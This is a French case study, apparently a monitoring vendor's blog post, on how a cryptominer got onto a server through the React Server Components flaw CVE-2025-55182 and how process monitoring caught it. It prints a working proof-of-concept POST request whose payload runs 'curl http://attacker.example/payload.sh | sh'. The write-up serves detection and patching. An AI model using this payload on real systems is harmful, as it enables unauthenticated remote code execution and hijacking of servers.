Détection d'un cryptominer installé via React CVE-2025-55182

Un client MonitorVPS a récemment découvert une infection par cryptominer sur son serveur grâce à notre système de détection de processus suspects. L'attaque provenait de CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance dans React Server Components avec un score CVSS de 10.0. Cette étude de cas examine comment l'attaque s'est déroulée et pourquoi la surveillance continue des processus a détecté ce que les mesures de sécurité traditionnelles ont manqué.

L'alerte

Le 6 janvier 2026, un client MonitorVPS a reçu une alerte par e-mail et une notification webhook concernant son serveur de production "web01" hébergé à San Francisco :

L'alerte a signalé quatre indicateurs de menace distincts, déclenchant une notification immédiate. Grâce aux alertes par e-mail et webhook, le client a pu réagir en quelques minutes. Sans ces alertes automatisées, l'infection aurait pu continuer sans être détectée, avec le processus malveillant s'exécutant pendant des jours, voire des semaines.

Ce que MonitorVPS a détecté

La détection de processus suspects de MonitorVPS a identifié quatre indicateurs critiques qui, ensemble, suggéraient fortement une activité malveillante :

1. Modèle de commande suspect

Les arguments de ligne de commande -o www.githubabout.top:80 --tls correspondent à des modèles couramment utilisés par les mineurs de cryptomonnaie. Le paramètre -o spécifie généralement une connexion au serveur du pool de minage.

2. Chemin d'exécutable suspect

Le binaire était situé à /root/GZ5pBwko/cCxf dans le répertoire home de l'utilisateur root. Les logiciels légitimes sont généralement installés dans des emplacements standard comme /usr/bin, /usr/local/bin ou /opt. Les exécutables dans les répertoires utilisateur sont un indicateur courant de logiciel non autorisé.

3. Segment de chemin à haute entropie

Le nom du dossier GZ5pBwko est une chaîne alphanumérique aléatoire conçue pour échapper à la détection basée sur des modèles simples. Les attaquants utilisent couramment des noms générés aléatoirement pour rendre leur malware plus difficile à trouver par des recherches de fichiers basiques.

4. Processus inconnu à haute consommation de ressources

Le processus consommait des ressources CPU significatives mais ne correspondait à aucune signature de logiciel légitime connu. Cinq instances du même processus s'exécutaient simultanément, maximisant les ressources de calcul du serveur pour le minage.

Le vecteur d'attaque : CVE-2025-55182

L'investigation a révélé que les attaquants ont obtenu l'accès via CVE-2025-55182, une vulnérabilité critique dans React Server Components qui a reçu le score CVSS maximum de 10.0. Ce score est réservé aux vulnérabilités ne nécessitant aucune authentification, aucune interaction utilisateur, et fournissant un chemin direct vers l'exécution de code à distance.

Comprendre React Server Components

React Server Components (RSC) réduit le JavaScript côté client en gérant la logique intensive en données sur le serveur. Ils communiquent en utilisant un protocole de sérialisation appelé "React Flight", qui transmet des structures de données complexes entre client et serveur. Lorsqu'un client a besoin de données rendues par un composant serveur, il envoie une requête à un endpoint du serveur contenant des "chunks" sérialisés de données.

La cause profonde : Désérialisation non sécurisée

La vulnérabilité existe dans la fonction reviveModel de React au sein de ReactFlightReplyServer.js. La faille critique réside dans la façon dont le serveur valide les données entrantes :

for (i in value)
    value.hasOwnProperty(i) && ...

Le serveur fait trop confiance au payload entrant. Au lieu de valider que les données proviennent de code légitime côté client, il tente de désérialiser tout ce que l'utilisateur envoie. En invoquant value.hasOwnProperty(i) sur un objet non fiable, un attaquant peut masquer cette propriété avec une référence malveillante, contournant entièrement la vérification de sécurité et obtenant l'accès aux propriétés de la chaîne de prototypes comme constructor et __proto__.

La chaîne d'exploitation en quatre étapes

L'exploitation suit une chaîne sophistiquée en quatre étapes qui abuse du duck-typing de JavaScript et de l'exécution dynamique de code :

1. Créer une boucle d'auto-référence : En utilisant le préfixe $@ pour accéder aux objets chunk bruts, l'attaquant crée des références circulaires qui exposent les objets internes de React.
2. Déclencher l'exécution automatique : Le await de JavaScript appelle automatiquement les méthodes .then() sur les objets de type Promise. En configurant then pour pointer vers la gestion interne des chunks de React, l'attaquant détourne ce mécanisme.
3. Injecter des données malveillantes : Définir le statut sur resolved_model trompe React pour qu'il appelle initializeModelChunk(), qui analyse le payload de l'attaquant.
4. Exécuter du code via le gestionnaire de blob : Le préfixe $B déclenche le gestionnaire de blob de React, appelant .get() sur un objet contrôlé par l'attaquant pointant vers le constructeur Function, permettant l'exécution de code arbitraire.

Preuve de concept

L'attaque ne nécessite rien de plus qu'une simple requête HTTP POST vers un endpoint RSC vulnérable :

POST / HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----FormBoundaryKj7mVpR4xN2qYz

------FormBoundaryKj7mVpR4xN2qYz
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,
"value":"{\"then\":\"$B0\"}","_response":{"_prefix":
"process.mainModule.require('child_process').execSync(
'curl http://attacker.example/payload.sh | sh');",
"_formData":{"get":"$1:constructor:constructor"}}}
------FormBoundaryKj7mVpR4xN2qYz
Content-Disposition: form-data; name="1"

"$@0"
------FormBoundaryKj7mVpR4xN2qYz--

C'est une exploitation pré-authentification : elle se produit pendant la désérialisation avant que toute Server Action demandée ne soit validée. N'importe quelle valeur d'en-tête Next-Action déclenche le chemin de code vulnérable. L'attaquant obtient le contexte complet de Node.js avec accès à process, child_process, au système de fichiers et à toutes les variables d'environnement, y compris les identifiants de base de données et les clés API.

Versions affectées

La vulnérabilité affecte les versions React 19.0, 19.1.0, 19.1.1 et 19.2.0. De nombreux frameworks incluent ces packages indirectement, ce qui signifie qu'un grand nombre de déploiements peuvent être affectés sans que les développeurs ne sachent qu'ils utilisaient des composants vulnérables.

Pour une analyse technique plus approfondie de l'exploitation in-the-wild et des campagnes de malware actives exploitant cette vulnérabilité, consultez le rapport de recherche complet de Trend Micro.

La chaîne d'attaque

D'après l'analyse forensique, l'attaque a suivi cette séquence :

1. Reconnaissance : Les attaquants ont scanné les serveurs exécutant des endpoints React Server Components vulnérables.
2. Exploitation : Un payload Flight malveillant a été envoyé pour obtenir l'exécution de code à distance.
3. Livraison du payload : La RCE a été utilisée pour télécharger un binaire cryptominer vers /root/GZ5pBwko/.
4. Pool de Minage : Le mineur a été configuré pour se connecter à www.githubabout.top:80 en utilisant le chiffrement TLS.
5. Détournement de ressources : Plusieurs instances ont été lancées pour maximiser l'utilisation du CPU pour le minage de cryptomonnaie.

Réponse recommandée

Comme nous aimons le dire : « Un serveur compromis est un serveur décommissionné. »

Lors de la découverte d'une compromission active comme celle-ci, la priorité est le confinement et l'investigation :

• Isoler le serveur affecté pour empêcher le mouvement latéral ou l'exfiltration de données.
• Investiguer l'étendue de la compromission en examinant les logs et autres systèmes.
• Pour les infections graves, reconstruire à partir de zéro est souvent l'approche la plus sûre, car les attaquants peuvent avoir installé des portes dérobées supplémentaires.
• Corriger les dépendances vulnérables avant de remettre tout système en ligne.

Pourquoi la surveillance est importante

Ce cas démontre plusieurs points critiques concernant la sécurité des serveurs :

• Les outils de sécurité traditionnels peuvent manquer les menaces actives. Sans surveillance des processus, le cryptominer aurait pu fonctionner pendant des semaines ou des mois avant que quelqu'un ne remarque l'utilisation élevée du CPU.
• Les exploits zero-day contournent les défenses périmétriques. CVE-2025-55182 était une vulnérabilité pré-authentification qui ne nécessitait aucun identifiant. Les pare-feu et les systèmes d'authentification ne pouvaient pas l'empêcher.
• Les alertes en temps réel permettent une réponse rapide. Les notifications par e-mail et webhook signifiaient que le client était informé de la menace immédiatement, pas lors de sa prochaine fenêtre de maintenance planifiée.
• La détection précoce minimise les dégâts. Plus vite vous êtes informé d'une compromission, plus vite vous pouvez réagir. Des heures de minage valent bien mieux que des mois.

Protéger vos serveurs

Pour vous protéger contre des attaques similaires :

• Maintenir les dépendances à jour. L'équipe React a rapidement publié des correctifs après la divulgation de CVE-2025-55182. Rester à jour est votre première ligne de défense.
• Auditer votre arbre de dépendances. Vous pourriez utiliser des packages vulnérables indirectement via votre framework ou d'autres bibliothèques.
• Utiliser une surveillance continue des processus. Des outils comme MonitorVPS fournissent une visibilité sur ce qui s'exécute réellement sur vos serveurs.
• Configurer des alertes pour les processus suspects. La détection automatisée capture les menaces pendant que vous ne surveillez pas activement.
• Implémenter la défense en profondeur. Aucune mesure de sécurité unique n'est suffisante. Superposez plusieurs protections pour une couverture complète.

Conclusion

Ce cas réel montre à quelle vitesse les attaquants peuvent transformer des vulnérabilités critiques en armes et comment la surveillance des processus sert de couche de détection essentielle. Le serveur du client a été compromis par une vulnérabilité sophistiquée de chaîne d'approvisionnement dans un framework largement utilisé, mais la surveillance continue a détecté l'activité malveillante résultante et l'a alerté immédiatement par e-mail et webhook.

La sécurité des serveurs ne consiste pas seulement à prévenir les brèches. Il s'agit aussi de les détecter rapidement quand la prévention échoue. Avec des vulnérabilités comme CVE-2025-55182 affectant les frameworks populaires, avoir une visibilité sur les processus de votre serveur n'est plus optionnel. C'est une exigence fondamentale pour maintenir une infrastructure sécurisée.